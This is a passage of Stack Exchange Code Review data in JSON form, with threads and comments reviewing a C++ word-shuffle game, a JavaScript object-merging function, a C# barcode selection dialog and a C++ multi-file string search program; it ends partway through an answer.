"body": "<ol>\n<li><p>The most obvious point is probably that the standard library already includes <code>std::shuffle</code>, so there's little point in creating your own.</p>\n\n<ul>\n<li>If you do decide to write your own shuffle, you probably want to look up the <a href=\"https://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle\" rel=\"nofollow noreferrer\">Fisher-Yates Shuffle</a> algorithm. What you're doing right now can introduce biases (actually, it introduces a couple of different biases in entirely different ways).</li>\n</ul></li>\n<li><p>If you're going to generate random numbers in C++, you're generally better off using the \"new\" generators found in <code><random></code> instead of using <code>srand</code>/<code>rand</code> from <code><stdlib.h></code>/<code><cstdlib></code>.</p>\n\n<ul>\n<li>Probably also want to use the standard distribution classes instead of rolling your own with the modulus operator (that's one of your current sources of bias<sup>1</sup>).</li>\n</ul></li>\n<li><p>Even if you do insist on writing your own and using <code>srand</code>/<code>rand</code>, you must call <code>srand</code> only once, probably when your program starts, not separately each time you're going to use some random numbers.</p></li>\n<li><p>I advise against using <code>std::endl</code>. Most of the time (including this case) printing a new-line (<code>'\\n'</code>) will do what you want, and frequently be substantially faster. In addition to writing a new-line, <code>std::endl</code> flushes the stream, which is almost never necessary or desirable.</p></li>\n<li><p>Instead of:</p>\n\n<pre><code>std::cout << \"Word found in \" << count\n << \" guess\" << (count>1?\"es\":\"\")\n</code></pre>\n\n<p>I'd rather use:</p>\n\n<pre><code>std::cout << \"Word found in \" << count\n << (count > 1 ? \"guesses\" : \"guess\";\n</code></pre>\n\n<p>At least to me, this makes it somewhat easier to follow what's going on (and a trade between easier to read and saving half a dozen bytes of string constant seems pretty easy to me, at least most of the time).</p></li>\n<li><p>Finally, Add the appropriate includes for the features you use.</p>\n\n<ul>\n<li>std::string => <code>#include <string></code></li>\n<li>std::srand() => <code>#include <cstdlib></code></li>\n<li>std::time() => <code>#include <ctime></code></li>\n<li>srand() => <code>#include <stdlib.h></code> // Note the difference between C++ and C version.</li>\n<li>time() => <code>#include <time.h></code></li>\n</ul></li>\n</ol>\n\n<hr>\n\n<p><sup>\n1. consider a generator that produced 0, 1, or 2 and you used <code>%2</code> to get only 0 or 1. You'd get 1 only when the generator produced 1, but you'd get 0 when it produced either 0 or 2, so assuming the generator produced 0, 1, and 2 equally frequently, your output would be 0 about twice as often as it was 1. With larger ranges, the bias tends to be less extreme (and less visible) but the same basic mechanism causes the same basic problem.\n</sup></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T21:13:19.920",
"Id": "421103",
"Score": "0",
"body": "I like most of this, but I feel that \"Just use the standard library\" may be good advice when on company time but perhaps misses the point for self-learning projects!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T07:05:11.223",
"Id": "421153",
"Score": "0",
"body": "I don't quite understand the point 4. What's the difference between `\\n` and `std::endl`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T07:08:20.753",
"Id": "421154",
"Score": "0",
"body": "For point 6, is there a g++/clang flag to throw warnings when a includes is missing?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T07:16:26.610",
"Id": "421155",
"Score": "0",
"body": "In point 2 you said there was some biases introduced with the modulo operator. What are these and why?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T07:20:07.767",
"Id": "421156",
"Score": "0",
"body": "Lastly, is there a difference between `srand`/`std::srand` and `time`/`std::time`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T14:13:50.593",
"Id": "421194",
"Score": "0",
"body": "@o2640110: I don't know of a compiler flag, but I do know of a tool: https://include-what-you-use.org/"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T14:24:20.723",
"Id": "421198",
"Score": "0",
"body": "@o2640110: re: modulo bias, I've edited to explain the problem. re: srand vs. std::srand: no, there's no difference beyond the naming."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T16:19:55.177",
"Id": "421208",
"Score": "0",
"body": "@Josiah I'd see learning how to, find, understand and use the standard library a part of self learning projects."
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T20:25:12.967",
"Id": "217637",
"ParentId": "217618",
"Score": "6"
}
}
] | {
"AcceptedAnswerId": "217637",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T12:41:09.937",
"Id": "217618",
"Score": "2",
"Tags": [
"c++",
"beginner",
"strings",
"reinventing-the-wheel",
"shuffle"
],
"Title": "Game to shuffle and guess a word"
} | 217618 |
<p>I have a function that checks two reference objects. They both have the same properties. </p>
<p>The purpose of this method is to ensure that any non-null old values are not overwritten with null or empty values after an API call. I'd appreciate any feedback.</p>
<pre><code>evaluateEmptyValues: function(reference, originalReference) {
var vm = this;
// Get length
referenceLength = Object.entries(reference).length;
originalReferenceLength = Object.entries(originalReference).length;
// Evaluate both if they are the same length -- they always should be
if (referenceLength == originalReferenceLength) {
try {
for (var prop in reference) {
// First check for undefined or null
if (reference[prop] != undefined || reference[prop] != null) {
if (typeof (reference[prop]) == 'string' && reference[prop].trim() == '') {
// Assign original value to new object if new value is empty string
reference[prop] = originalReference[prop];
}
// Check if current prop in both objects is an object
if (typeof(reference[prop]) == 'object' && typeof(originalReference[prop]) == 'object') {
var length = Object.keys(reference[prop]).length;
// Do another loop
for (var property in reference[prop]) {
// Check for undefined or null value in original
if (originalReference[prop][property] != undefined) {
if (originalReference[prop][property] != null) {
if (reference[prop][property] == null || reference[prop][property] == '') {
// Assign old non-null value to new object if new value is empty or null
reference[prop][property] = originalReference[prop][property];
}
}
}
}
}
// Check for array
if (Array.isArray(reference[prop]) && typeof Array.isArray(originalReference[prop])) {
// Recurse if both are arrays
reference[prop].forEach((item, index) => vm.evaluateEmptyValues(item, originalReference[prop][index]));
}
} else {
if (originalReference[prop] != undefined) {
if (originalReference[prop] != null) {
// Assign original value to new object
reference[prop] = originalReference[prop];
}
}
}
}
} catch(err) {
console.log(err);
}
}
},
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T15:12:42.560",
"Id": "421060",
"Score": "1",
"body": "What is your use-case for this? What is the bigger picture?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T15:25:22.483",
"Id": "421063",
"Score": "0",
"body": "I load an object from a table onto my page. There's a button at the top that makes an API call to the ISBNdb. The API comes back in another structure, so I rebuild a new object from the API data, to have the same fields as the loaded object from the table and new values from the API data. Then, I funnel that new object and the old loaded object through this above function, to ensure that any of the values from API data didn't come back null or empty, (because it could potentially overwrite a non-empty value from the old loaded object with that empty value coming in from the API)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T16:39:25.320",
"Id": "421074",
"Score": "0",
"body": "`if (reference[prop] != undefined || reference[prop] != null) {` is never false, making the last else redundant. If your code works then 9 lines can be removed without effect. Along with 4 lines of the try and catch, and the one line `var length = Object.keys(reference[prop]).length;` `length` is never used, you have 12 out of 39 lines of code that does nothing. You should fix the code if you want a good review."
}
] | [
{
"body": "<h2>Very bad code</h2>\n\n<p>Your code is very poorly written making it difficult to workout what your intent is. </p>\n\n<p>The <code>try catch</code> was a red flag and immediately told me not to trust the code. </p>\n\n<p>Looking further at your code I found it full of redundant code and conflicting logic.</p>\n\n<h3>List of problems</h3>\n\n<ul>\n<li><p><code>if (reference[prop] != undefined || reference[prop] != null) {</code></p>\n\n<p>Is the same as <code>if(A == true || A == false) {</code></p>\n\n<p>This is always true, if <code>A</code> is not <code>true</code>, then it is <code>true</code> that <code>A</code> is <code>false</code></p>\n\n<p>That makes the <code>else</code> and the associated block redundant (will never happen)</p></li>\n<li><p><code>if ( /*...*/ && typeof Array.isArray(originalReference[prop])) {</code> </p>\n\n<p><code>typeof</code> creates a non empty string. Thus the second half of the above statement is always <code>true</code> and thus redundant.</p></li>\n<li><p><code>if (typeof(reference[prop]) == 'object' && typeof(originalReference[prop]) == 'object')</code> and</p>\n\n<p><code>if (Array.isArray(reference[prop]) && typeof Array.isArray(originalReference[prop])) {</code> </p>\n\n<p>If <code>reference[prop]</code> is an <code>array</code>, <code>null</code>, or an <code>object</code> and <code>originalReference[prop]</code> is an <code>array</code>, <code>null</code>, or <code>object</code> then both the above statements are true, which I think is not your intent.</p></li>\n<li><p><code>var length = Object.keys(reference[prop]).length;</code></p>\n\n<p><code>length</code> is never used making this line redundant. </p></li>\n<li><p><code>reference[prop].forEach((item, index) => vm.evaluateEmptyValues(item, originalReference[prop][index]))</code></p>\n\n<p>It is common for objects to contain references to themselves, or have properties that reference them selves. Thus this type of recursion can end up in an infinite loop. Luckily JS has a finite call stack that will cause an exception to be thrown, but as you catch the errors rather than stop, it will grind to a stop as it throws overflow error after error till it gets past all the self references. </p></li>\n</ul>\n\n<h2>Minor points</h2>\n\n<ul>\n<li><p><code>var vm = this;</code></p>\n\n<p>The reference to <code>vm</code> is used in the previous point. The <code>forEach</code> is using an arrow function that maintains the outer context of <code>this</code>. The variable <code>vm</code> is thus redundant.</p></li>\n<li><p><code>referenceLength = Object.entries(reference).length;</code></p>\n\n<p><code>Object.entries</code> creates an array of arrays. <code>[[key, value], [key, value], ...]</code> You should use <code>Object.keys</code> or <code>Object.values</code> if you want the number of properties.</p></li>\n<li><p><code>typeof (reference[prop]) == 'string'</code></p>\n\n<p><code>typeof</code> is a token not a function and does not need to be followed by a pair of <code>()</code></p></li>\n<li><p>Use <code>===</code> or <code>!==</code> rather than <code>==</code> or <code>!=</code></p></li>\n</ul>\n\n<h2>Comments just add to the mess</h2>\n\n<p>Your comments are noise if they repeat what is self evident in the code.</p>\n\n<p>Or worse, comments are lies when in direct conflict with the code</p>\n\n<p>You should only comment when the code can not represent the higher level abstraction that the logic is implementing. This is usually rare. </p>\n\n<p>The better the code the less comments are needed to understand what is going on.</p>\n\n<p>Some examples</p>\n\n<ul>\n<li><p><code>// Do another loop</code></p>\n\n<p><code>for (var property in reference[prop]) {</code></p>\n\n<p>Really!... a loop you say.</p></li>\n<li><p><code>// Check if current prop in both objects is an object</code></p>\n\n<p><code>if (typeof(reference[prop]) == 'object' && typeof(originalReference[prop]) == 'object') {</code></p>\n\n<p>Again the comment is repeating what is self evident in the code.</p></li>\n<li><p><code>if (Array.isArray(reference[prop]) && typeof Array.isArray(originalReference[prop])) {</code></p>\n\n<p><code>// Recurse if both are arrays</code></p>\n\n<p>No its not?... The comment is in direct conflict the the statement above it. </p></li>\n</ul>\n\n<h2>Summing up</h2>\n\n<p>Sorry to be so harsh, but your code is boarder line on topic for code review. You need to be much more careful when writing code.</p>\n\n<p>I think part of the problem is the very long naming and indirect referencing (eg <code>originalReference[prop][property]</code>) you are using which is making it hard to see the logic from the referencing.</p>\n\n<p>Your code is nested up to 10 times, and one line is over 120 characters long. In that line of the 100 characters (ignoring indent/white spaces) 71 characters are naming, and only 29 are part of the logic. Little wonder you are making obvious logic mistakes in the code, you can not see the wood from the trees.</p>\n\n<p>There are a variety of other problems in your code that I did not address.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T13:05:17.397",
"Id": "421185",
"Score": "1",
"body": "Thank you! The harsher the better, I only recently graduated college and started working, so this sort of feedback will make me a better coder in the future projects"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-19T23:11:24.803",
"Id": "421337",
"Score": "0",
"body": "I feel like the term \"_redundant_\" is overloaded, i.e. used to mean different things... e.g. in \"_That makes the `else` and the associated block redundant (will never happen)_\" I would have used the word \"_unreachable_\" instead of \"_redundant_\"; Then for \"_length is never used making this line redundant._\" I would have used a word like \"_superfluous_\" or \"_useless_\" instead of \"_redundant_\""
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T11:54:53.383",
"Id": "217667",
"ParentId": "217621",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "217667",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T13:43:42.630",
"Id": "217621",
"Score": "0",
"Tags": [
"javascript",
"vue.js"
],
"Title": "Function that checks two objects with same fields and assigns old non-null values to new object if new values are empty or null"
} | 217621 |
<p>I've written a simple program that reads barcodes from a page and will ask the user to select one to use. I have a few methods that use the results of that form and I was wondering if there is a better/cleaner way to execute the following code: </p>
<pre><code>string barcode = "";
if (barcodes.Count > 1)
{
using (var form = new frmSelectBarcode(barcodes))
{
if (form.ShowDialog() == DialogResult.Yes)
{
barcode = form.getSelection();
}
}
}
//Do other things
</code></pre>
<p>I feel like it's fairly clean, but I don't like that there's 3 levels of indentation and I'm not sure if that should be necessary.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T14:58:37.637",
"Id": "421056",
"Score": "3",
"body": "Welcome to Code Review. The best would be to post at least two complete methods where you use the results."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T15:37:01.887",
"Id": "421065",
"Score": "0",
"body": "Unfortunately this is actually all the relevant code. The results are only used here to assign barcode once. It is never used again. It would be safe to assume form.getselection() just returns the string \"TEST123\" every time. It is a near single line of code form. @Heslacher"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T09:57:34.620",
"Id": "421176",
"Score": "1",
"body": "What technology is this? Please use the appropriate tags."
}
] | [
{
"body": "<p>Let us going through your code</p>\n\n<ul>\n<li>better assign String.Empty than \"\" to a variable your aging eyes will thank you in a few years.</li>\n<li>objects should be named using <code>PascalCase</code> casing</li>\n<li>public methods should be named using <code>PascalCase</code> casing as well</li>\n</ul>\n\n<p>I would add a <code>Public static string GetBarcode(List<Barcode> barcodes)</code> method to your <code>frmSelectBarcode</code> class like so.</p>\n\n<pre><code>Public static string GetBarcode(List<Barcode> barcodes)\n{\n if (barcodes.Count <= 1)\n {\n return string. Empty;\n } \n using (var form = new frmSelectBarcode(barcodes)) \n { \n if (form.ShowDialog() == DialogResult.Yes)\n { \n return form.getSelection(); \n } \n }\n return string.Empty;\n}\n</code></pre>\n\n<p>In this way you have only one place where you need to maintain the code and it's quite easy to call where ever you need the result like so</p>\n\n<pre><code>string barcode = frmSelectBarcode.GetBarcode(barcodes) ;\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T20:06:10.490",
"Id": "421095",
"Score": "0",
"body": "This is exactly what I thought of. The code snippet from OP has the responsibility of determining whether or not the user needs to be prompted to choose a barcode. That will fit right in with the actual Form responsible for gathering this feedback. The main change I'd suggest to this version is to `throw` when `barcodes` is empty (you're going to have to check for empty string anyway, might as well check for an exception instead). Also, this function could have logic to `return barcodes[0]` if there is only one element."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T23:51:09.217",
"Id": "421110",
"Score": "0",
"body": "The logic is different from the OP. The first line should be `if (barcodes.Count <= 1)`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T03:55:18.810",
"Id": "421137",
"Score": "0",
"body": "@JesseC.Slicer good catch. Answering from mobile isn't that good. Fixed."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T16:04:46.787",
"Id": "217624",
"ParentId": "217622",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "217624",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T14:42:06.620",
"Id": "217622",
"Score": "-2",
"Tags": [
"c#"
],
"Title": "Cleanest way to get value from secondary form"
} | 217622 |
<p>Basically, I've got a GUI where the user can select text files, enter in strings (that may or may not contain wildcards) and search those files for those strings.</p>
<p>Currently, I take the user inputted string(s) and divide them into two groups: regularly searchable strings, and strings that have wildcards (either * for 1 wildcard character, or .* for any amount). </p>
<p>If they are regularly searchable strings, then I use the normal <code>str.find</code> function (as I tested this vs regex_search and this is faster), otherwise I use the <code>regex_search</code> function.</p>
<p>The main problem is performance. As a benchmark comparison, it takes my program roughly 47 minutes and it is searching through 5,028,712 lines. From trying to figure this problem out on google it seems this entire search should take me well under a minute...</p>
<p><code>searchAllFilesForAllStrings</code> -> bool checkbox on the GUI where if it is set to true, the program will just search every file for every string, and false, will only search each "batch" of files (if the filepath includes a wildcard, such as "Read*.txt -> all files starting with Read and that are .txt files will be chosen)</p>
<p>Global variables: </p>
<pre><code>vector<string> regex_patterns;
vector<string> excelFiles;
vector<string> nonWildCardSearchStrings;
vector<string> searchStrings;
vector<string> searchFiles;
vector<bool> regexIndex;
</code></pre>
<p>This function gets called from a GUI button using an editable text box that contains the path to the file. It essentially grabs strings and files from an excel file formatted with 2 columns, one column search strings, and one column search files. In search strings, XYY denotes 1 wildcard (because the user should be able to search for a * if they desire; XYZ denotes any # of wildcards):</p>
<pre><code>ifstream excelFile;
string line;
string delimiter = ",";
int bIdxStrings = 0;
int bIdxFiles = 0;
for (int i = 0; i < excelPath.size(); i++)
{
excelFile.open(excelPath.at(i));
if (excelFile.is_open()) {}
else { return false; }
int index = 0;
while (getline(excelFile, line))
{
searchStrings.push_back(line.substr(0, line.find(delimiter)));
searchFiles.push_back(line.substr(line.find(delimiter) + 1));
index = index + 1;
}
searchStrings.erase(searchStrings.begin() + bIdxStrings);
searchFiles.erase(searchFiles.begin() + bIdxFiles);
bIdxStrings = searchStrings.size() + 1;
bIdxFiles = searchFiles.size() + 1;
for (int i = 0; i < searchStrings.size(); i++)
{
searchStrings.at(i) = addEscapes(searchStrings.at(i));
}
}
excelFile.close();
string key = "\\";
size_t foundLast = 0;
string wcPath = "";
tuple<vector<string>, string> addWildCardFiles;
vector<string>test;
string holdTemp = "";
string regSearch = "";
string regtemp = "";
string fullPath = "";
vector<string>tempFiles;
vector<string>tempStrings;
// Search for wildcard paths. if any exist, find files based on their main directory. will not recursively search.
for (int i = 0; i < searchFiles.size();i++)
{
size_t found = searchFiles.at(i).find("*");
if (found != string::npos)
{
// temporarily hold the search string corresponding to this entry.
holdTemp = searchStrings.at(i);
foundLast = searchFiles.at(i).rfind(key);
wcPath = searchFiles.at(i).substr(0, foundLast);
regSearch = searchFiles.at(i).substr(foundLast + 1, string::npos);
regtemp = regSearch.substr(0, regSearch.find("*"));
regtemp.append(".*");
regtemp.append(regSearch.substr(regSearch.find("*") + 1, string::npos));
regSearch = regtemp;
smatch matchez;
// Should make regex search case insensitive.
regex e(regSearch, regex_constants::icase);
//searchFiles.erase(searchFiles.begin() + i);
//searchStrings.erase(searchStrings.begin() + i);
// All files in the directory:
addWildCardFiles = read_directory(wcPath, test);
for (int m = 0; m < get<0>(addWildCardFiles).size(); m++)
{
size_t wcBool = regex_search(get<0>(addWildCardFiles)[m], matchez, e);
if (wcBool == 1)
{
fullPath.append(wcPath); fullPath.append("\\");
fullPath.append(get<0>(addWildCardFiles)[m]);
tempFiles.push_back(fullPath);
tempStrings.push_back(holdTemp);
}
fullPath = "";
}
}
}
searchStrings.insert(searchStrings.end(), tempStrings.begin(), tempStrings.end());
searchFiles.insert(searchFiles.end(), tempFiles.begin(), tempFiles.end());
sort(searchStrings.begin(), searchStrings.end());
sort(searchFiles.begin(), searchFiles.end());
searchFiles.erase(unique(searchFiles.begin(), searchFiles.end()), searchFiles.end());
if (searchAllFilesForAllStrings == true)
{
searchStrings.erase(unique(searchStrings.begin(), searchStrings.end()), searchStrings.end());
}
int setNext = -1;
vector<int> filesRepeat;
vector<int> stringsRepeat;
size_t stringsCount = 0;
size_t filesCount = 0;
// Loops to get rid of duplicate search strings + duplicate files.
// Dont get rid of duplicates if only searching each file for each subsequent string because of how the code is structured;
for (int i = 0; i < searchStrings.size(); i++) { if (searchStrings.at(i).compare("Search Strings") == 0) { searchStrings.erase(searchStrings.begin() + i); } }
for (int i = 0; i < searchFiles.size(); i++) { if (searchFiles.at(i).compare("Search Files") == 0) { searchFiles.erase(searchFiles.begin() + i); } }
// Loops to get rid of wildstar patterns that are included (these can't be searched)
int idx = 0;
int startCount = searchFiles.size();
while (idx < startCount)
{
if (contains(searchFiles.at(idx), "*", 1) == 1)
{
searchFiles.erase(searchFiles.begin() + idx);
startCount = startCount - 1;
idx = 0;
}
idx = idx + 1;
}
// Loop to deal with each search string and format it for regex searching later.
// only pull strings that are non wildcard containing. everything else can be normally searched which will save time.
for (unsigned int jj = 0; jj < searchStrings.size(); jj++)
{
if (contains(searchStrings.at(jj), "XYY", 0) == 1 || contains(searchStrings.at(jj), "XYZ", 0) == 1)
{
regex_patterns.push_back(replaceWildCards(searchStrings.at(jj)));
regexIndex.push_back(true);
}
else
{
nonWildCardSearchStrings.push_back(searchStrings.at(jj));
regexIndex.push_back(false);
}
}
return true;
</code></pre>
<p><code>found</code> and <code>nonwcfound</code> are the variables used to check if a match was found and subsequently to save the line text and line number in vectors. <code>filename</code> and <code>foldername</code> are variables that will also be saved to be outputted to the file.</p>
<pre><code> size_t found;
bool nonwcfound = false;
smatch matches;
vector<regex> expressions;
for (int i = 0; i < regex_patterns.size(); i++) { expressions.emplace_back(regex_patterns.at(i)); }
if (searchAllFilesForAllStrings == true)
{
ofstream myOutPut;
myOutPut.open(outputFilePath, std::ofstream::out | std::ofstream::app);
myOutPut << "Line Text, Line Number, File Name, Folder Path," << "\n";
myOutPut.close();
for (size_t j = 0; j < searchFiles.size();j++)
{
// Initialize variables for line number + text
vector<int> lineNumber;
vector<string> lineText;
vector<string>lineStrings;
string entireFile;
// Get file and folder name for storage.
string fileName;
string folderName;
fileName = searchFiles.at(j);
int fileNameSlashIdx = fileName.rfind("\\");
folderName = fileName.substr(0, fileNameSlashIdx);
fileName = fileName.substr(fileNameSlashIdx + 1, string::npos);
// File ifstream definition/opening
ifstream file;
file.open(searchFiles.at(j), ios::in | ios::ate);
// Fill and close file
if (file)
{
ifstream::streampos filesize = file.tellg();
entireFile.reserve(filesize);
file.seekg(0);
while (!file.eof())
{
entireFile += file.get();
}
}
file.close();
int linecount = 0;
stringstream stream(entireFile);
while (1)
{
string line;
getline(stream, line);
if (!stream.good())
break;
for (size_t r = 0; r < expressions.size(); r++)
{
found = regex_search(line, matches, expressions.at(r));
if (found == 1)
{
lineNumber.push_back(linecount);
lineText.push_back(line);
}
}
for (size_t rr = 0; rr < nonWildCardSearchStrings.size(); rr++)
{
nonwcfound = contains(line, nonWildCardSearchStrings.at(rr), 0);
if (nonwcfound == true)
{
lineNumber.push_back(linecount);
lineText.push_back(line);
}
}
linecount = linecount + 1;
}
entireFile.clear();
ofstream myOutPut;
myOutPut.open(outputFilePath, std::ofstream::out | std::ofstream::app);
{
tuple<vector<string>, vector<int>, string, string>result = make_tuple(lineText, lineNumber, fileName, folderName);
writeResultsToFile(result, outputFilePath);
}
myOutPut.close();
}
}
if (searchAllFilesForAllStrings == false)
{
// Do the same thing as above, except that it will search each file/batch of files only with the
// subsequent search string in the same row of the excel file that is read in using the above function.
}
MessageBox::Show("Finished execution. Your file is now available for viewing!", "Output Excel File Written");
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T19:11:24.387",
"Id": "421089",
"Score": "0",
"body": "1. Did you use a profiler to profile the program? We can guess about performance, but since this isn't a complete, compilable program it's just guessing. You have the power to actually measure it and see. 2. Please add the function declarations. At the moment we have to guess the types of the function parameters (e.g. `excelPath`)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T00:11:11.780",
"Id": "421114",
"Score": "3",
"body": "Have to vote to close as it stands. There are no functions here just raw code so impossible to review as it stands (no context). But there is a lot to talk about (efficiency and improvements and design) with each function. Please resubmit each function with a test harness to show that that function works as expected and can be tested by us."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T00:12:15.427",
"Id": "421115",
"Score": "1",
"body": "Please submit each function seprately for its own review."
}
] | [
{
"body": "<p>Honestly, I don't think this code really works as intended.</p>\n\n<p>I suggest splitting it into smaller parts (perhaps write a separate test program without the gui), and testing each part separately (print to <code>cout</code>, step through it with a debugger) to ensure that it does what you expect.</p>\n\n<hr>\n\n<p>General advice / summary:</p>\n\n<ul>\n<li><p><a href=\"https://stackoverflow.com/questions/1452721/why-is-using-namespace-std-considered-bad-practice\">Don't do <code>using namespace std;</code></a>.</p></li>\n<li><p>Don't use global variables. Use function arguments (pass by reference or const-reference as appropriate), and function return values to bring variables into the scope in which they're needed.</p></li>\n<li><p>Declare variables as close to the point of use as possible, and initialize them directly to the appropriate value, rather than a temporary \"invalid\" value. (e.g. <code>excelFile</code> could be declared inside that first loop). This reduces the potential for mistakes (e.g. using the \"invalid\" value, or reusing the value from a previous loop) and complexity (variables are only visible where they're needed).</p></li>\n<li><p>Use functions to split code into logical units responsible for a single thing. This helps by \"naming\" sections of code (need fewer comments), reducing the scope of variables (e.g. <code>excelFile</code> is only used in the top part of that ginormous function), and makes the code easier to read and understand.</p>\n\n<p>That first code listing could be split into several functions. Ignoring function arguments / variables it might be something like:</p>\n\n<pre><code>ReadSearchStrings();\nExpandWildcardPaths();\nPrepareSearchParameters();\n</code></pre>\n\n<p>(And that last one might be further subdivided).</p></li>\n<li><p>Use <code>const&</code> variables to alias other variables without needing to copy them.</p></li>\n<li><p>Use the index type of the container for indexing (i.e. <code>std::size_t</code> instead of <code>int</code>).</p></li>\n<li><p>We need to handle errors in case of invalid user input.</p></li>\n</ul>\n\n<hr>\n\n<p>The code:</p>\n\n<p>There are a lot of issues, so going through line by line to point out problems:</p>\n\n<pre><code>ifstream excelFile; // declare inside the loop\nstring line; // declare inside the loop\nstring delimiter = \",\"; // make it const, make it a char\n\nint bIdxStrings = 0; // we should index a container with it's index type (i.e. std::size_t) not an int\nint bIdxFiles = 0;\n\nfor (int i = 0; i < excelPath.size(); i++) // use range-based for to easily iterate whole containers\n{\n excelFile.open(excelPath.at(i));\n\n if (excelFile.is_open()) {} // this is convoluted. just return false if it's not open.\n else { return false; }\n\n int index = 0; // index isn't actually used\n\n while (getline(excelFile, line)) \n {\n // what if the delimiter is missing? both searchStrings and searchFiles will contain the whole line, but that seems unintentional?\n searchStrings.push_back(line.substr(0, line.find(delimiter))); \n searchFiles.push_back(line.substr(line.find(delimiter) + 1)); // searching for delimiter twice!\n index = index + 1;\n }\n\n // it looks like we're ignoring the first entry in the file?\n // if so, we can just do an extra getline before the while loop and ignore that line\n // it's much cleaner than adding and erasing an entry\n\n searchStrings.erase(searchStrings.begin() + bIdxStrings);\n searchFiles.erase(searchFiles.begin() + bIdxFiles);\n\n bIdxStrings = searchStrings.size() + 1; // (aren't bIdxStrings and bIdxFiles always the same?)\n bIdxFiles = searchFiles.size() + 1;\n\n // note that searchStrings contains the strings from multiple excel files...\n // but we're calling this on the whole set of search strings for every excel files.\n // so for 10 files, the search strings in the first file will have escapes added 10 times.\n // in other words: this should be ouside the excelPath loop.\n\n for (int i = 0; i < searchStrings.size(); i++)\n {\n searchStrings.at(i) = addEscapes(searchStrings.at(i));\n }\n}\nexcelFile.close();\n</code></pre>\n\n<p>And a cleaned up version might look more like:</p>\n\n<pre><code>char const delimiter = ',';\n\nfor (auto const& path : excelPath)\n{\n std::ifstream excelFile(path);\n\n if (!excelFile)\n return false;\n\n std::string ignoredLine;\n std::getline(excelFile, ignoredLine);\n\n std::string line;\n while (std::getline(excelFile, line))\n {\n std::size_t const split = line.find(delimiter);\n\n if (split == std::string::npos)\n continue; // (or return an error?)\n\n searchStrings.push_back(line.substr(0, split));\n searchFiles.push_back(line.substr(split + 1));\n }\n}\n\nfor (auto& string : searchStrings)\n string = addEscapes(string);\n</code></pre>\n\n<p>I'm not going to include the \"tidy\" version for the rest of the code, because it's hard to guess the intent / correct behavior in a lot of this. I'll just point out issues:</p>\n\n<pre><code>string key = \"\\\\\"; // const\nsize_t foundLast = 0; // declare inside the loop\nstring wcPath = \"\"; // declare inside the loop\ntuple<vector<string>, string> addWildCardFiles; // declare inside the loop\nvector<string>test; // declare inside the loop (not a helpful name... and is this variable actually used?)\nstring holdTemp = \"\"; // declare inside the loop\nstring regSearch = \"\"; // declare inside the loop\nstring regtemp = \"\"; // declare inside the loop\nstring fullPath = \"\"; // declare inside the loop\nvector<string> tempFiles;\nvector<string> tempStrings;\n\nfor (int i = 0; i < searchFiles.size();i++) // use std::size_t\n{\n // we can use const& variables to alias the current file and search string\n // instead of using .at(i) everywhere, e.g.:\n\n // std::string const& string = searchStrings.at(i);\n // std::string const& file = searchFiles.at(i);\n\n size_t found = searchFiles.at(i).find(\"*\");\n\n // better to \"return\" early by using continue and avoid the indent.\n //if (found == string::npos) continue;\n if (found != string::npos) \n {\n holdTemp = searchStrings.at(i); // unnecessary copy - can use a const& instead (see above)\n foundLast = searchFiles.at(i).rfind(key); // what if we don't find `key`?\n wcPath = searchFiles.at(i).substr(0, foundLast);\n regSearch = searchFiles.at(i).substr(foundLast + 1, string::npos);\n\n // the code below just inserts \".*\" in place of \"*\", right?\n // we could do that directly w/ `regSearch.insert(pos, '.');`\n\n // what if we don't find the \"*\"? \n // regSearch.find(\"*\") returns npos so , e.g.:\n // a string of \"fullpath\" will become \"fullpath.*fullpath\".\n // is this intentional?\n\n // is regSearch.find(\"*\") ever different from searchFiles.at(i).find(\"*\")?\n // what if the \"*\" occurs before `key`?\n\n regtemp = regSearch.substr(0, regSearch.find(\"*\"));\n regtemp.append(\".*\");\n regtemp.append(regSearch.substr(regSearch.find(\"*\") + 1, string::npos)); // calling find twice!\n\n regSearch = regtemp;\n\n smatch matchez; // declare inside the loop\n regex e(regSearch, regex_constants::icase);\n\n // we never access the second part of this tuple...\n // so change 